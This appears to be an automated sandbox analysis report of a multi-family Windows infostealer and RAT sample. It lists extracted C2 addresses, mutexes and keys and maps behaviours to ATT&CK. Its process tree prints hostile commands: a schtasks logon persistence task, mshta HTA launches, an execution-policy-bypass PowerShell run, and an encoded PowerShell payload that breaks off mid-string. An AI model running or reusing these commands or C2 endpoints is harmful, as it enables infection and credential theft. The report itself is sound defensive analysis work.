acrstealer | 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac

max time kernel
150s
max time network
158s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/08/2026, 21:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2to1ep.exe
Size 13.1MB
Sample260806-1swjca1eqc
SHA256 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac
MD5 7d1a85e807ff9b48edc2e08a01b35e07
SHA1 9d772258c620629c299bbad24c968b1cc476a6a1
SHA512 8553ca5d63c2667da0f1044a1c6d00713a5f7d826cd5e5e17cdcf1a2eed4ece844b7d16a06933c44273181d98d330eb944f8b72d835bdd31d75be7b3b75edc43
SSDEEP 196608:APPuglgRWUeR24iMqWNo2mtKVzurHm5POMP/XRL234tSoz2/Tsj+51nOxd:EPuhRW1R2JtWNhqKVzuC5zXA34tSQ
TLSH
T1D7D63338236406E7F4F6D734E940C4B6D6ABAD161B57C28383F8D56B2D232C16A373A5
MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family

svcstealer

http://196.251.107.186/acovp/post.php
http://192.162.199.186/usovp/post.php
http://196.251.107.163/bioxp/post.php

Attributes

build_id
SlLoaded
srv_delay
1
srv_retry
1

Extracted

Family

remus_stealer

http://carogra.biz:4219
http://myrtler.biz:9549
http://angect.xyz:7838

Extracted

Family

ratonrat

Version

Professional

16.170.169.119:8080

Mutex

GPMEaht28D0drQKjxak6e0p

Attributes

assist
false
box
false
box_icon
Error
box_msg
I'm the message box description
box_title
Hello World
defender
false
delay
0
hide_file
false
open_website
false
process_critical
false
raw
silly21
reconnect
3
startup
true
tag
Infected
uac
false
vm
false
website
https://t.me/example

Extracted

Family

acrstealer

Version

4.1.2-alpha.2

gro.runtimeforge.cc

Decoy

gvt1.com

Attributes

ddrs
wci.packet-routing-engine.surf
guids
a6cdcc0b-6b38-49d6-9672-20be114d9eba
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

add.hex

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

94.158.245.53:9992

Mutex

4abbc77f-27e2-4983-8fe9-6fafbfb7627b

Attributes

encryption_key
F5CCD6560C6A9C857BE240A8EE0DF9CF88BC3B2B
install_name
Client.exe
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Extracted

Family

xworm

Version

217.195.153.81:50000

Mutex

s7PW4w8jaKnVmzgc

Attributes

install_file
USB.exe

aes.plain

Extracted

Family

phantom_stealer

Version

v3.5.0

Mutex

1YA6UHTISPAQ669J8KKQ

Attributes

anti_analysis
0
cb_enables_ssl
0
debug
0
keylogger
1
start_delay
0
startup
1

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer
Family: Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook
Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
stealer phantom_stealer
Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Family: RatonRAT
RatonRAT is an information stealer written in C#.
stealer ratonrat
Family: Remus
Remus is a stealer written in C++.
stealer remus_stealer
Family: SvcStealer, Diamotrix
SvcStealer aka Diamotrix Clipper is a stealer/downloader written in C++.
stealer downloader svcstealer
Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
stealer salatstealer

Detect SalatStealer payload 1 IoCs

resource	yara_rule
behavioral2/memory/6232-991-0x00000000005D0000-0x000000000121F000-memory.dmp	family_salatstealer

Detect Xworm Payload 3 IoCs

resource	yara_rule
behavioral2/memory/5668-322-0x0000000001030000-0x000000000103E000-memory.dmp	family_xworm
behavioral2/memory/5668-321-0x0000000001030000-0x000000000103E000-memory.dmp	family_xworm
behavioral2/memory/5668-315-0x0000000001030000-0x000000000103E000-memory.dmp	family_xworm

Detects ACRStealer V4.x 1 IoCs

resource	yara_rule
behavioral2/files/0x000800000001ca46-969.dat	family_acrstealer_v3

Detects PhantomStealer written in C# 1 IoCs

resource	yara_rule
behavioral2/memory/2532-319-0x00000257BFB30000-0x00000257BFBEE000-memory.dmp	family_phantomstealer

Detects RatonRAT payload 1 IoCs

resource	yara_rule
behavioral2/memory/8816-1499-0x00000000066F0000-0x0000000006966000-memory.dmp	family_ratonrat

Detects SvcStealer Payload 3 IoCs

SvcStealer aka Diamotrix Clipper is a stealer/downloader written in C++.

resource	yara_rule
behavioral2/memory/9944-1089-0x00007FF66F880000-0x00007FF66FAD0000-memory.dmp	family_svcstealer
behavioral2/memory/9944-1084-0x00007FF66F880000-0x00007FF66FAD0000-memory.dmp	family_svcstealer
behavioral2/memory/9944-1078-0x00007FF66F880000-0x00007FF66FAD0000-memory.dmp	family_svcstealer

Formbook payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/4144-682-0x0000000000E70000-0x0000000000EB6000-memory.dmp	family_formbook

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/5620-394-0x0000000000720000-0x0000000000A44000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5968	powershell.exe
5632	powershell.exe
1196	powershell.exe
376	powershell.exe
7404	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
7404	powershell.exe

Downloads MZ/PE file
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Loads dropped DLL 21 IoCs

pid	Process
5744	2to1ep.exe
5744	2to1ep.exe
5744	2to1ep.exe
5744	2to1ep.exe
5744	2to1ep.exe
5744	2to1ep.exe
5744	2to1ep.exe
5744	2to1ep.exe
5744	2to1ep.exe
5744	2to1ep.exe
5744	2to1ep.exe
5744	2to1ep.exe
5744	2to1ep.exe
5744	2to1ep.exe
5744	2to1ep.exe
5744	2to1ep.exe
5744	2to1ep.exe
5744	2to1ep.exe
5744	2to1ep.exe
5744	2to1ep.exe
5744	2to1ep.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Contacts third-party web service commonly abused for C2 1 TTPs 16 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
234	raw.githubusercontent.com
271	raw.githubusercontent.com
282	raw.githubusercontent.com
281	raw.githubusercontent.com
27	raw.githubusercontent.com
47	raw.githubusercontent.com
85	raw.githubusercontent.com
205	raw.githubusercontent.com
275	raw.githubusercontent.com
284	raw.githubusercontent.com
188	raw.githubusercontent.com
220	raw.githubusercontent.com
235	raw.githubusercontent.com
272	raw.githubusercontent.com
287	raw.githubusercontent.com
288	raw.githubusercontent.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
19	ip-api.com

AutoIT Executable 3 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/memory/7600-1040-0x0000000000D30000-0x0000000000F84000-memory.dmp	autoit_exe
behavioral2/memory/9772-1250-0x0000000000A90000-0x0000000000CE4000-memory.dmp	autoit_exe
behavioral2/memory/7600-1596-0x0000000000D30000-0x0000000000F84000-memory.dmp	autoit_exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
10176	wscript.exe

UPX packed file 13 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/7600-562-0x0000000000D30000-0x0000000000F84000-memory.dmp	upx
behavioral2/memory/6232-991-0x00000000005D0000-0x000000000121F000-memory.dmp	upx
behavioral2/memory/7600-1040-0x0000000000D30000-0x0000000000F84000-memory.dmp	upx
behavioral2/memory/9772-1250-0x0000000000A90000-0x0000000000CE4000-memory.dmp	upx
behavioral2/memory/7600-1596-0x0000000000D30000-0x0000000000F84000-memory.dmp	upx
behavioral2/memory/9772-1116-0x0000000000A90000-0x0000000000CE4000-memory.dmp	upx
behavioral2/files/0x000800000001ca7a-1095.dat	upx
behavioral2/memory/6232-397-0x00000000005D0000-0x000000000121F000-memory.dmp	upx
behavioral2/memory/8196-1620-0x00007FFA5C7D0000-0x00007FFA5CC15000-memory.dmp	upx
behavioral2/memory/8196-1689-0x00007FFA72940000-0x00007FFA7295C000-memory.dmp	upx
behavioral2/memory/8196-1714-0x00007FFA612A0000-0x00007FFA612CE000-memory.dmp	upx
behavioral2/memory/8196-1896-0x00007FFA6B610000-0x00007FFA6B621000-memory.dmp	upx
behavioral2/memory/8196-2122-0x00007FFA7A8C0000-0x00007FFA7A8ED000-memory.dmp	upx

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2968	sc.exe
6744	sc.exe
6504	sc.exe
7592	sc.exe
9872	sc.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
1304	msiexec.exe

Executes a command shell one-liner 1 TTPs 9 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
260	cmd.exe
9316	cmd.exe
9324	cmd.exe
9692	cmd.exe
10868	cmd.exe
7156	cmd.exe
5104	cmd.exe
9920	cmd.exe
3760	cmd.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
8104	2788	WerFault.exe	160
8412	2788	WerFault.exe	160

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5316	PING.EXE

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
9028	chrome.exe

Inno Setup is an open-source installation builder for Windows applications. 7 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/memory/9188-989-0x0000000000FB0000-0x00000000010B6000-memory.dmp	innosetup
behavioral2/memory/8932-1153-0x00000000000E0000-0x00000000001CC000-memory.dmp	innosetup
behavioral2/files/0x000900000001c9dd-1109.dat	innosetup
behavioral2/memory/9676-1072-0x0000000000400000-0x0000000000428000-memory.dmp	innosetup
behavioral2/files/0x000800000001ca3e-960.dat	innosetup
behavioral2/memory/8992-902-0x0000000000D40000-0x0000000000E2C000-memory.dmp	innosetup
behavioral2/memory/8916-895-0x0000000000DB0000-0x0000000000EB6000-memory.dmp	innosetup

Runs .reg file with regedit 1 IoCs

pid	Process
8336	regedit.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5316	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
9168	schtasks.exe
1200	schtasks.exe
7348	schtasks.exe
9492	schtasks.exe
3660	schtasks.exe
2452	schtasks.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2672 wrote to memory of 5744	2672	2to1ep.exe	91
PID 5744 wrote to memory of 3760	5744	2to1ep.exe	92
PID 3760 wrote to memory of 3660	3760	cmd.exe	93
PID 5744 wrote to memory of 7156	5744	2to1ep.exe	94

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2672
- C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
  "C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:5744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3760
  - - C:\Windows\system32\schtasks.exe
      schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3660
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C start c:\Windows\System32\Taskmgr.exe
    3⤵
    - Executes a command shell one-liner
    PID:7156
  - - \??\c:\Windows\System32\Taskmgr.exe
      c:\Windows\System32\Taskmgr.exe
      4⤵
      PID:2716
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe goodthingswforbestfeelingsfromtheheartsesion.hta
    3⤵
    PID:8708
- - C:\Users\Admin\AppData\Local\Temp\a\msedge.exe
    msedge.exe
    3⤵
    PID:9772
- - C:\Users\Admin\AppData\Local\Temp\a\discrete_69.7868.8_INSTALL.exe
    discrete_69.7868.8_INSTALL.exe
    3⤵
    PID:8932
  - - C:\Users\Admin\AppData\Local\Temp\is-ELW5PA5D3Y.tmp\discrete_69.7868.8_INSTALL.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-ELW5PA5D3Y.tmp\discrete_69.7868.8_INSTALL.tmp" /SL5="$9033E,2775941,905728,C:\Users\Admin\AppData\Local\Temp\a\discrete_69.7868.8_INSTALL.exe"
      4⤵
      PID:7048
- - C:\Users\Admin\AppData\Local\Temp\svchost.exe
    svchost.exe
    3⤵
    PID:5160
- - C:\Users\Admin\AppData\Local\Temp\a\xx.exe
    xx.exe
    3⤵
    PID:9152
  - - C:\Users\Admin\AppData\Local\Temp\is-ZNV4VX1I4Y.tmp\xx.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-ZNV4VX1I4Y.tmp\xx.tmp" /SL5="$6059A,4057916,1011712,C:\Users\Admin\AppData\Local\Temp\a\xx.exe"
      4⤵
      PID:6456
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe goodthingswithbestfeaturesformebetterformegood.hta
    3⤵
    PID:3356
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe goodthingsarecomingfromthebestplacescomingforme.hta
    3⤵
    PID:7800
- - C:\Users\Admin\AppData\Local\Temp\a\2.exe
    2.exe
    3⤵
    PID:620
  - - C:\Users\Admin\AppData\Local\Temp\is-I26X7LO2SQ.tmp\2.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-I26X7LO2SQ.tmp\2.tmp" /SL5="$4045A,4057916,1011712,C:\Users\Admin\AppData\Local\Temp\a\2.exe"
      4⤵
      PID:10700
- - C:\Users\Admin\AppData\Local\Temp\a\9z7BGnRGpgs8cZv7.exe
    9z7BGnRGpgs8cZv7.exe
    3⤵
    PID:7448
- - C:\Users\Admin\AppData\Local\Temp\a\svc.exe
    svc.exe
    3⤵
    PID:11108
- - C:\Users\Admin\AppData\Local\Temp\a\file_73ed34a7752ecb3a.exe
    file_73ed34a7752ecb3a.exe
    3⤵
    PID:11580
- - C:\Users\Admin\AppData\Local\Temp\a\xeno.V1.3.55.exe
    xeno.V1.3.55.exe
    3⤵
    PID:5320
- C:\Windows\SysWOW64\odbcconf.exe
  "C:\Windows\SysWOW64\odbcconf.exe"
  2⤵
  PID:7832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:7008

C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
1⤵
PID:2620
- C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
  "C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
  2⤵
  PID:7160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"
    3⤵
    - Executes a command shell one-liner
    PID:5104
  - - C:\Windows\system32\schtasks.exe
      schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2452
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C start c:\Windows\System32\Taskmgr.exe
    3⤵
    - Executes a command shell one-liner
    PID:260
  - - \??\c:\Windows\System32\Taskmgr.exe
      c:\Windows\System32\Taskmgr.exe
      4⤵
      PID:4480
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe asd.hta
    3⤵
    PID:6592
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe givenmethebestthignswithbetterplacescomingfromthebest.hta
    3⤵
    PID:5992
- - C:\Windows\a\1.exe
    1.exe
    3⤵
    PID:5452
- - C:\Windows\a\4.exe
    4.exe
    3⤵
    PID:4712
- - C:\Windows\a\ScreenConnect.WindowsBackstageShell.exe
    ScreenConnect.WindowsBackstageShell.exe
    3⤵
    PID:5220
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
      dw20.exe -x -s 1528
      4⤵
      PID:8836
- - C:\Windows\a\ScreenConnect.ClientService.exe
    ScreenConnect.ClientService.exe
    3⤵
    PID:4900
- - C:\Windows\a\ScreenConnect.WindowsFileManager.exe
    ScreenConnect.WindowsFileManager.exe
    3⤵
    PID:2580
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
      dw20.exe -x -s 1876
      4⤵
      PID:1620
- - C:\Windows\a\file_8a7c2cae7ca4b114.exe
    file_8a7c2cae7ca4b114.exe
    3⤵
    PID:1296
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File stage2.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:376
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Enc MwA2ACAAMQAyADIAIAA2ADEAIAAzADkAIAA1ADcAIAA1ADEAIAA0ADYAIAA0ADkAIAA1ADMAIAA1ADAAIAA0ADYAIAA1ADAAIAA1ADAAIAA1ADEAIAA0ADYAIAA1ADEAIAA0ADgAIAAzADkAIAA1ADkAIAAzADYAIAAxADAANQAgADYAMQAgADkAMQAgADgAMwAgADEAMgAxACAAMQAxADUAIAAxADEANgAgADEAMAAxACAAMQAwADkAIAA0ADYAIAA3ADgAIAAxADAAMQAgADEAMQA2ACAANAA2ACAANwAzACAAOAAwACAANgA1ACAAMQAwADAAIAAxADAAMAAgADEAMQA0ACAAMQAwADEAIAAxADEANQAgADEAMQA1ACAAOQAzACAANQA4ACAANQA4ACAAOAAwACAAOQA3ACAAMQAxADQAIAAxADEANQAgADEAMAAxACAANAAwACAAMwA2ACAAMQAyADIAIAA0ADEAIAA1ADkAIAAzADYAIAAxADEANgAgADYAMQAgADcAOAAgADEAMAAxACAAMQAxADkAIAA0ADUAIAA3ADkAIAA5ADgAIAAxADAANgAgADEAMAAxACAAOQA5ACAAMQAxADYAIAAzADIAIAA4ADMAIAAxADIAMQAgADEAMQA1ACAAMQAxADYAIAAxADAAMQAgADEAMAA5ACAANAA2ACAANwA4ACAAMQAwADEAIAAxADEANgAgADQANgAgADgAMwAgADEAMQAxACAAOQA5ACAAMQAwADcAIAAxADAAMQAgADEAMQA2ACAAMQAxADUAIAA0ADYAIAA4ADQAIAA5ADkAIAAxADEAMgAgADYANwAgADEAMAA4ACAAMQAwADUAIAAxADAAMQAgADEAMQAwACAAMQAxADYAIAA1ADkAIAAzADYAIAAxADEANgAgADQANgAgADYANwAgADEAMQAxACAAMQAxADAAIAAxADEAMAAgADEAMAAxACAAOQA5ACAAMQAxADYAIAA0ADAAIAAzADYAIAAxADAANQAgADQANAAgADUAMwAgADUAMwAgADUAMwAgADUAMwAgADQAMQAgADEAMAAgADMANgAgADEAMQA1ACAANgAxACAAMwA2ACAAMQAxADYAIAA0ADYAIAA3ADEAIAAxADAAMQAgADEAMQA2ACAAOAAzACAAMQAxADYAIAAxADEANAAgADEAMAAxACAAOQA3ACAAMQAwADkAIAA0ADAAIAA0ADEAIAA1ADkAIAAzADYAIAAxADEAOQAgADYAMQAgADcAOAAgADEAMAAxACAAMQAxADkAIAA0ADUAIAA3ADkAIAA5ADgAIAAxADAANgAgADEAMAAxACAAOQA5ACAAMQAxADYAIAAzADIAIAA4ADMAIAAxADIAMQAgADEAMQA1ACAAMQAxADYAIAAxADAAMQAgADEAMAA5ACAANAA2ACAANwAzACAANwA5ACAANAA2ACAAOAAzACAAMQAxADYAIAAxADEANAAgADEAMAAxACAAOQA3ACAAMQAwADkAIAA4ADcAIAAxADEANAAgADEAMAA1ACAAMQAxADYAIAAxADAAMQAgADEAMQA0ACAANAAwACAAMwA2ACAAMQAxADUAIAA0ADEAIAA1ADkAIAAzADYAIAAxADEAOQAgADQANgAgADYANQAgADEAMQA3ACAAMQAxADYAIAAxADEAMQAgADcAMAAgADEAMAA4ACAAMQAxADcAIAAxADEANQAgADEAMAA0ACAANgAxACAANAA5ACAANQA5ACAAMwA2ACAAMQAwADQAIAA2ADEAIAAzADYAIAAxADAAMQAgADEAMQAwACAAMQAxADgAIAA1ADgAIAA2ADcAIAA3ADkAIAA3ADcAIAA4ADAAIAA4ADUAIAA4ADQAIAA2ADkAIAA4ADIAIAA3ADgAIAA2ADUAIAA3ADcAIAA2ADkAIAAxADAAIAAzADYAIAAxADEAOQAgADQANgAgADgANwAgADEAMQA0ACAAMQAwADUAIAAxADEANgAgADEAMAAxACAANAAwACAAMwA0ACAAOAA2ACAAMQAwADUAIAA5ADkAIAAxADEANgAgADEAMAA1ACAAMQAwADkAIAAzADIAIAA3ADMAIAA2ADgAIAA1ADgAIAAzADIAIAAzADYAIAAxADAANAAgADkANgAgADEAMQAwACAANwAyACAAMQAxADEAIAAxADEANQAgADEAMQA2ACAAMQAxADAAIAA5ADcAIAAxADAAOQAgADEAMAAxACAANQA4ACAAMwAyACAAMwA2ACAAMQAwADQAIAA5ADYAIAAxADEAMAAgADcAOQAgADgAMwAgADUAOAAgADMAMgAgADEAMQA5ACAAMQAwADUAIAAxADEAMAAgADEAMAAwACAAMQAxADEAIAAxADEAOQAgADEAMQA1ACAAOQA2ACAAMQAxADAAIAA2ADcAIAA1ADAAIAA5ADUAIAA4ADIAIAA2ADkAIAA2ADUAIAA2ADgAIAA4ADkAIAA5ADYAIAAxADEAMAAgADkANgAgADEAMQAwACAAMwA0ACAANAAxACAAMQAwACAAMQAwADIAIAAxADEANwAgADEAMQAwACAAOQA5ACAAMQAxADYAIAAxADAANQAgADEAMQAxACAAMQAxADAAIAAzADIAIAAxADAAMwAgADEAMgAzACAAMQAwACAAMQAxADYAIAAxADEANAAgADEAMgAxACAAMQAyADMAIAAxADAAIAA5ADEAIAAxADEAOAAgADEAMQAxACAAMQAwADUAIAAxADAAMAAgADkAMwAgADQAMAAgADkAMQAgADgAMwAgADEAMgAxACAAMQAxADUAIAAxADEANgAgADEAMAAxACAAMQAwADkAIAA0ADYAIAA4ADIAIAAxADAAMQAgADEAMAAyACAAMQAwADgAIAAxADAAMQAgADkAOQAgADEAMQA2ACAAMQAwADUAIAAxADEAMQAgADEAMQAwACAANAA2ACAANgA1ACAAMQAxADUAIAAxADEANQAgADEAMAAxACAAMQAwADkAIAA5ADgAIAAxADAAOAAgADEAMgAxACAAOQAzACAANQA4ACAANQA4ACAANwA2ACAAMQAxADEAIAA5ADcAIAAxADAAMAAgADgANwAgADEAMAA1ACAAMQAxADYAIAAxADAANAAgADgAMAAgADkANwAgADEAMQA0ACAAMQAxADYAIAAxADAANQAgADkANwAgADEAMAA4ACAANwA4ACAAOQA3ACAAMQAwADkAIAAxADAAMQAgADQAMAAgADMAOQAgADgAMwAgADEAMgAxACAAMQAxADUAIAAxADEANgAgADEAMAAxACAAMQAwADkAIAA0ADYAIAA2ADgAIAAxADEANAAgADkANwAgADEAMQA5ACAAMQAwADUAIAAxADEAMAAgADEAMAAzACAAMwA5ACAANAAxACAANAAxACAAMQAwACAAOQAxACAAMQAxADgAIAAxADEAMQAgADEAMAA1ACAAMQAwADAAIAA5ADMAIAA0ADAAIAA5ADEAIAA4ADMAIAAxADIAMQAgADEAMQA1ACAAMQAxADYAIAAxADAAMQAgADEAMAA5ACAANAA2ACAAOAAyACAAMQAwADEAIAAxADAAMgAgADEAMAA4ACAAMQAwADEAIAA5ADkAIAAxADEANgAgADEAMAA1ACAAMQAxADEAIAAxADEAMAAgADQANgAgADYANQAgADEAMQA1ACAAMQAxADUAIAAxADAAMQAgADEAMAA5ACAAOQA4ACAAMQAwADgAIAAxADIAMQAgADkAMwAgADUAOAAgADUAOAAgADcANgAgADEAMQAxACAAOQA3ACAAMQAwADAAIAA4ADcAIAAxADAANQAgADEAMQA2ACAAMQAwADQAIAA4ADAAIAA5ADcAIAAxADEANAAgADEAMQA2ACAAMQAwADUAIAA5ADcAIAAxADAAOAAgADcAOAAgADkANwAgADEAMAA5ACAAMQAwADEAIAA0ADAAIAAzADkAIAA4ADMAIAAxADIAMQAgADEAMQA1ACAAMQAxADYAIAAxADAAMQAgADEAMAA5ACAANAA2ACAAOAA3ACAAMQAwADUAIAAxADEAMAAgADEAMAAwACAAMQAxADEAIAAxADEAOQAgADEAMQA1ACAANAA2ACAANwAwACAAMQAxADEAIAAxADEANAAgADEAMAA5ACAAMQAxADUAIAAzADkAIAA0ADEAIAA0ADEAIAAxADAAIAAzADYAIAA4ADcAIAA2ADEAIAA5ADEAIAA4ADMAIAAxADIAMQAgADEAMQA1ACAAMQAxADYAIAAxADAAMQAgADEAMAA5ACAANAA2ACAAOAA3ACAAMQAwADUAIAAxADEAMAAgADEAMAAwACAAMQAxADEAIAAxADEAOQAgADEAMQA1ACAANAA2ACAANwAwACAAMQAxADEAIAAxADEANAAgADEAMAA5ACAAMQAxADUAIAA0ADYAIAA4ADMAIAA5ADkAIAAxADEANAAgADEAMAAxACAAMQAwADEAIAAxADEAMAAgADkAMwAgADUAOAAgADUAOAAgADgAMAAgADEAMQA0ACAAMQAwADUAIAAxADAAOQAgADkANwAgADEAMQA0ACAAMQAyADEAIAA4ADMAIAA5ADkAIAAxADEANAAgADEAMAAxACAAMQAwADEAIAAxADEAMAAgADQANgAgADYANgAgADEAMQAxACAAMQAxADcAIAAxADEAMAAgADEAMAAwACAAMQAxADUAIAA0ADYAIAA4ADcAIAAxADAANQAgADEAMAAwACAAMQAxADYAIAAxADAANAAgADEAMAAgADMANgAgADcAMgAgADYAMQAgADkAMQAgADgAMwAgADEAMgAxACAAMQAxADUAIAAxADEANgAgADEAMAAxACAAMQAwADkAIAA0ADYAIAA4ADcAIAAxADAANQAgADEAMQAwACAAMQAwADAAIAAxADEAMQAgADEAMQA5ACAAMQAxADUAIAA0ADYAIAA3ADAAIAAxADEAMQAgADEAMQA0ACAAMQAwADkAIAAxADEANQAgADQANgAgADgAMwAgADkAOQAgADEAMQA0ACAAMQAwADEAIAAxADAAMQAgADEAMQAwACAAOQAzACAANQA4ACAANQA4ACAAOAAwACAAMQAxADQAIAAxADAANQAgADEAMAA5ACAAOQA3ACAAMQAxADQAIAAxADIAMQAgADgAMwAgADkAOQAgADEAMQA0ACAAMQAwADEAIAAxADAAMQAgADEAMQAwACAANAA2ACAANgA2ACAAMQAxADEAIAAxADEANwAgADEAMQAwACAAMQAwADAAIAAxADEANQAgADQANgAgADcAMgAgADEAMAAxACAAMQAwADUAIAAxADAAMwAgADEAMAA0ACAAMQAxADYAIAAxADAAIAAzADYAIAA5ADgAIAA2ADEAIAA3ADgAIAAxADAAMQAgADEAMQA5ACAANAA1ACAANwA5ACAAOQA4ACAAMQAwADYAIAAxADAAMQAgADkAOQAgADEAMQA2ACAAMwAyACAAOAAzACAAMQAyADEAIAAxADEANQAgADEAMQA2ACAAMQAwADEAIAAxADAAOQAgADQANgAgADYAOAAgADEAMQA0ACAAOQA3ACAAMQAxADkAIAAxADAANQAgADEAMQAwACAAMQAwADMAIAA0ADYAIAA2ADYAIAAxADAANQAgADEAMQA2ACAAMQAwADkAIAA5ADcAIAAxADEAMgAgADQAMAAgADMANgAgADgANwAgADQANAAgADMANgAgADcAMgAgADQAMQAgADEAMAAgADMANgAgADcAMQAgADYAMQAgADkAMQAgADgAMwAgADEAMgAxACAAMQAxADUAIAAxADEANgAgADEAMAAxACAAMQAwADkAIAA0ADYAIAA2ADgAIAAxADEANAAgADkANwAgADEAMQA5ACAAMQAwADUAIAAxADEAMAAgADEAMAAzACAANAA2ACAANwAxACAAMQAxADQAIAA5ADcAIAAxADEAMgAgADEAMAA0ACAAMQAwADUAIAA5ADkAIAAxADEANQAgADkAMwAgADUAOAAgADUAOAAgADcAMAAgADEAMQA0ACAAMQAxADEAIAAxADAAOQAgADcAMwAgADEAMAA5ACAAOQA3ACAAMQAwADMAIAAxADAAMQAgADQAMAAgADMANgAgADkA